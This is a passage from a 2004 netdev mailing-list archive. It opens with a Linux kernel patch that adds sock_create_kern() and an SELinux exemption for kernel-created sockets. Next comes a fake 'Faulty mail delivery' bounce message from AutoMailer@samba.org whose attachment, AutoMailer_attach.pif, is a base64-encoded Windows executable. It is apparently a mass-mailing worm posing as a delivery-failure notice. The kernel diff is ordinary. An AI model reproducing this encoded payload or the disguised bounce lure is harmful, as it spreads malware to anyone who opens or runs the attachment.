- err = sock_create(PF_INET6, SOCK_RAW, IPPROTO_ICMPV6, &igmp6_socket); + err = sock_create_kern(PF_INET6, SOCK_RAW, IPPROTO_ICMPV6, &igmp6_socket); if (err < 0) { printk(KERN_ERR "Failed to initialize the IGMP6 control socket (err %d).\n", diff -urN -X dontdiff linux-2.6.6-rc3-mm2.o/net/ipv6/ndisc.c linux-2.6.6-rc3-mm2.w/net/ipv6/ndisc.c --- linux-2.6.6-rc3-mm2.o/net/ipv6/ndisc.c 2004-05-05 11:16:20.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/net/ipv6/ndisc.c 2004-05-06 15:03:02.000000000 -0400 @@ -1443,7 +1443,7 @@ struct sock *sk; int err; - err = sock_create(PF_INET6, SOCK_RAW, IPPROTO_ICMPV6, &ndisc_socket); + err = sock_create_kern(PF_INET6, SOCK_RAW, IPPROTO_ICMPV6, &ndisc_socket); if (err < 0) { ND_PRINTK0(KERN_ERR "ICMPv6 NDISC: Failed to initialize the control socket (err %d).\n", diff -urN -X dontdiff linux-2.6.6-rc3-mm2.o/net/netlink/netlink_dev.c linux-2.6.6-rc3-mm2.w/net/netlink/netlink_dev.c --- linux-2.6.6-rc3-mm2.o/net/netlink/netlink_dev.c 2004-04-04 00:22:53.000000000 -0500 +++ linux-2.6.6-rc3-mm2.w/net/netlink/netlink_dev.c 2004-05-06 16:04:12.000000000 -0400 @@ -112,7 +112,7 @@ if (test_and_set_bit(minor, &open_map)) return -EBUSY; - err = sock_create(PF_NETLINK, SOCK_RAW, minor, &sock); + err = sock_create_kern(PF_NETLINK, SOCK_RAW, minor, &sock); if (err < 0) goto out; diff -urN -X dontdiff linux-2.6.6-rc3-mm2.o/net/rxrpc/transport.c linux-2.6.6-rc3-mm2.w/net/rxrpc/transport.c --- linux-2.6.6-rc3-mm2.o/net/rxrpc/transport.c 2004-04-29 10:03:53.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/net/rxrpc/transport.c 2004-05-06 15:04:04.000000000 -0400 @@ -86,7 +86,7 @@ trans->port = port; /* create a UDP socket to be my actual transport endpoint */ - ret = sock_create(PF_INET, SOCK_DGRAM, IPPROTO_UDP, &trans->socket); + ret = sock_create_kern(PF_INET, SOCK_DGRAM, IPPROTO_UDP, &trans->socket); if (ret < 0) goto error; diff -urN -X dontdiff linux-2.6.6-rc3-mm2.o/net/sctp/protocol.c linux-2.6.6-rc3-mm2.w/net/sctp/protocol.c --- linux-2.6.6-rc3-mm2.o/net/sctp/protocol.c 2004-04-29 10:03:53.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/net/sctp/protocol.c 2004-05-06 17:26:12.304859888 -0400 @@ -653,8 +653,8 @@ else family = PF_INET; - err = sock_create(family, SOCK_SEQPACKET, IPPROTO_SCTP, - &sctp_ctl_socket); + err = sock_create_kern(family, SOCK_SEQPACKET, IPPROTO_SCTP, + &sctp_ctl_socket); if (err < 0) { printk(KERN_ERR "SCTP: Failed to create the SCTP control socket.\n"); diff -urN -X dontdiff linux-2.6.6-rc3-mm2.o/net/socket.c linux-2.6.6-rc3-mm2.w/net/socket.c --- linux-2.6.6-rc3-mm2.o/net/socket.c 2004-05-05 11:16:20.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/net/socket.c 2004-05-06 17:25:08.445567976 -0400 @@ -983,8 +983,7 @@ return 0; } - -int sock_create(int family, int type, int protocol, struct socket **res) +static int __sock_create(int family, int type, int protocol, struct socket **res, int kern) { int i; int err; @@ -1012,7 +1011,7 @@ family = PF_PACKET; } - err = security_socket_create(family, type, protocol); + err = security_socket_create(family, type, protocol, kern); if (err) return err; @@ -1075,7 +1074,7 @@ */ module_put(net_families[family]->owner); *res = sock; - security_socket_post_create(sock, family, type, protocol); + security_socket_post_create(sock, family, type, protocol, kern); out: net_family_read_unlock(); @@ -1087,6 +1086,16 @@ goto out; } +int sock_create(int family, int type, int protocol, struct socket **res) +{ + return __sock_create(family, type, protocol, res, 0); +} + +int sock_create_kern(int family, int type, int protocol, struct socket **res) +{ + return __sock_create(family, type, protocol, res, 1); +} + asmlinkage long sys_socket(int family, int type, int protocol) { int retval; @@ -1991,6 +2000,7 @@ EXPORT_SYMBOL(sock_alloc); EXPORT_SYMBOL(sock_alloc_inode); EXPORT_SYMBOL(sock_create); +EXPORT_SYMBOL(sock_create_kern); EXPORT_SYMBOL(sock_map_fd); EXPORT_SYMBOL(sock_recvmsg); EXPORT_SYMBOL(sock_register); diff -urN -X dontdiff linux-2.6.6-rc3-mm2.o/net/sunrpc/svcsock.c linux-2.6.6-rc3-mm2.w/net/sunrpc/svcsock.c --- linux-2.6.6-rc3-mm2.o/net/sunrpc/svcsock.c 2004-04-29 10:03:53.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/net/sunrpc/svcsock.c 2004-05-06 17:25:08.447567672 -0400 @@ -1413,7 +1413,7 @@ } type = (protocol == IPPROTO_UDP)? SOCK_DGRAM : SOCK_STREAM; - if ((error = sock_create(PF_INET, type, protocol, &sock)) < 0) + if ((error = sock_create_kern(PF_INET, type, protocol, &sock)) < 0) return error; if (sin != NULL) { diff -urN -X dontdiff linux-2.6.6-rc3-mm2.o/net/sunrpc/xprt.c linux-2.6.6-rc3-mm2.w/net/sunrpc/xprt.c --- linux-2.6.6-rc3-mm2.o/net/sunrpc/xprt.c 2004-04-29 10:03:53.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/net/sunrpc/xprt.c 2004-05-06 16:27:41.000000000 -0400 @@ -1567,7 +1567,7 @@ type = (proto == IPPROTO_UDP)? SOCK_DGRAM : SOCK_STREAM; - if ((err = sock_create(PF_INET, type, proto, &sock)) < 0) { + if ((err = sock_create_kern(PF_INET, type, proto, &sock)) < 0) { printk("RPC: can't create socket (%d).\n", -err); return NULL; } diff -urN -X dontdiff linux-2.6.6-rc3-mm2.o/security/dummy.c linux-2.6.6-rc3-mm2.w/security/dummy.c --- linux-2.6.6-rc3-mm2.o/security/dummy.c 2004-04-29 10:03:53.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/security/dummy.c 2004-05-06 16:06:39.000000000 -0400 @@ -750,13 +750,14 @@ return 0; } -static int dummy_socket_create (int family, int type, int protocol) +static int dummy_socket_create (int family, int type, + int protocol, int kern) { return 0; } static void dummy_socket_post_create (struct socket *sock, int family, int type, - int protocol) + int protocol, int kern) { return; } diff -urN -X dontdiff linux-2.6.6-rc3-mm2.o/security/selinux/hooks.c linux-2.6.6-rc3-mm2.w/security/selinux/hooks.c --- linux-2.6.6-rc3-mm2.o/security/selinux/hooks.c 2004-05-05 11:16:20.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/security/selinux/hooks.c 2004-05-06 16:06:55.000000000 -0400 @@ -2889,34 +2889,43 @@ struct inode_security_struct *isec; struct task_security_struct *tsec; struct avc_audit_data ad; - int err; + int err = 0; tsec = task->security; isec = SOCK_INODE(sock)->i_security; + if (isec->sid == SECINITSID_KERNEL) + goto out; + AVC_AUDIT_DATA_INIT(&ad,NET); ad.u.net.sk = sock->sk; err = avc_has_perm(tsec->sid, isec->sid, isec->sclass, perms, &isec->avcr, &ad); +out: return err; } -static int selinux_socket_create(int family, int type, int protocol) +static int selinux_socket_create(int family, int type, + int protocol, int kern) { - int err; + int err = 0; struct task_security_struct *tsec; - tsec = current->security; + if (kern) + goto out; + tsec = current->security; err = avc_has_perm(tsec->sid, tsec->sid, socket_type_to_security_class(family, type), SOCKET__CREATE, NULL, NULL); +out: return err; } -static void selinux_socket_post_create(struct socket *sock, int family, int type, int protocol) +static void selinux_socket_post_create(struct socket *sock, int family, + int type, int protocol, int kern) { int err; struct inode_security_struct *isec; @@ -2929,7 +2938,7 @@ tsec = current->security; isec->sclass = socket_type_to_security_class(family, type); - isec->sid = tsec->sid; + isec->sid = kern ? SECINITSID_KERNEL : tsec->sid; return; } From AutoMailer@samba.org Fri May 7 10:17:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 07 May 2004 10:17:49 -0700 (PDT) Received: from localhorst.org (pD95F1298.dip.t-dialin.net [217.95.18.152]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i47HHbKO016812; Fri, 7 May 2004 10:17:38 -0700 From: AutoMailer@samba.org To: mail@oss.sgi.com Date: Fri, 07 May 2004 19:14:58 Subject: Faulty mail delivery Importance: Normal X-Priority: 3 (Normal) Message-ID: <999d6eff4353cf.5e4ad.qmail@samba.org> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=ebecaedbadbabbadabac" X-archive-position: 5047 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: AutoMailer@samba.org Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --=ebecaedbadbabbadabac *** Auto Mail Delivery System *** 67.28.114.32_failed_after_I_sent_the_message./Remote_host_said:_554_delivery_error:_dd_Sorry_your_message_cannot_be_delivered._This_account_has_been_disabled_or_discontinued_[#102]._-_mta134.mail.dcn.com ** End of Transmission The original message is a separate attachment. --- Web: http://www.samba.org --- Mail To: UserHelp@samba.org --=ebecaedbadbabbadabac Content-Type: application/octet-stream; name=AutoMailer_attach.pif Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="AutoMailer_attach.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADNwnnaiaMXiYmjF4mJoxeJCr8ZiYijF4ngvB6JjaMXiQC8GomIoxeJUmlj aImjF4kAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQRQAATAEDABHRb0AAAAAAAAAAAOAADwELAQYA AKAAAAAQAAAA4AEAUIwCAADwAQAAkAIAAABAAAAQAAAAAgAABAAAAAEAAAAEAAAAAAAAAACgAgAA EAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAECSAgCcAAAAAJACAEAC AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWGWQQAAAAA AOABAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOAFaAWEAAAAAACgAAAA8AEAAJ4AAAAEAAAA AAAAAAAAAAAAAABAAADgLnJzcmMAAAAAEAAAAJACAAAEAAAAogAAAAAAAAAAAAAAAAAAQAAAwAAA AAAAAAAATJWbm56LSExZjZaNlEhMWFmNlo2USEybkJGVj4mYkUiMl4tIS52bjZqLl5aOkY9hoEhM i5yOlZeWSExZWVlITJGUoV5eYEhMnImbk15gYEhMmo2PXl9gSEyTjZqWjZReXkiRjaCYlJeajUiW jZybjZqekYuNm0ifkZaamItIn5GWkI2UmEifkZaPiZyNSJ+RloyakZ6NmkiaiZ6Vl5aMSIqKjYmP lI1In5GWjJSUop2YSIqPoJyMlJRIm6Gbn5qdllygSJ+Rlp2YjEiblZtIm4uJlVtaSJuhm5yNlUiJ npial5yNi5xhoEidm4qHjEiRkVxdXZaSXEhNiZ6YmpecjYucSJyJm5OVl5ZIjaCYlJeajZpIkZac mo2WiZxImo2PjYyRnEiboZuVl5ZIl5aMjUiajYmMlY1IkVmanV9cllxIj5eMl0iPl1ldXJdIn5GW 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 